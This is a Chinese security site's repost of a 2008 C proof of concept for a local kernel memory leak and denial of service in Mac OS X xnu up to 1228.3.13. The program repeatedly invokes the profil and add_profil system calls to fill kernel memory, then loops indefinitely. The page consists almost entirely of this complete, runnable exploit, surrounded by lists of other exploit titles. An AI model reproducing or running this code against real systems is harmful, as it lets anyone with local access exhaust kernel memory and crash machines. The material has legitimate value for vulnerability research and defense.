首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC
来源:vfocus.net 作者:vfocus 发布时间:2009-03-24  
/* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  printf ("* opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i < PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("** %d-bytes filled\r",  i * 32);
    }
  printf ("\n* done\n");

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}

// [2009-03-23]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mac OS X xnu <= 1228.3.13 (mac
·Mac OS X xnu <=1228.x (vfssysc
·Mac OS X xnu <= 1228.3.13 (zi
·Mac OS X xnu <= 1228.x (hfs-fc
·FreeBSD 7.0/7.1 (ktimer) Local
·Zinf Audio Player 2.2.1 (.pls)
·Gigaset SE461 WiMAX router Rem
·PHPizabi v0.848b C1 HFP1-3 Rem
·FreeBSD 7.x (Dumping Environme
·Rittal CMC-TC Processing Unit
·X-BLC 0.2.0 (get_read.php sect
·eXeScope 6.50 Local Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved